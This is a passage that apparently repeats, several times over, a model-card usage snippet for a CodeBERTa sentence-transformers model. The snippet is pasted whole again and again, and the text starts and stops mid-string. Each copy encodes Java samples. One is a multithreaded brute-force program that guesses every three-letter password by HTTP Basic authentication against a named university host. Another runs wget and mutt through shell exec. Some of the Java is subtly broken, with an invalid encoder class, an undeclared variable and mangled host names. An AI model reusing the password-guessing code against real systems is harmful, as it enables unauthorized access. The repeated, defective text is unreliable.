null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    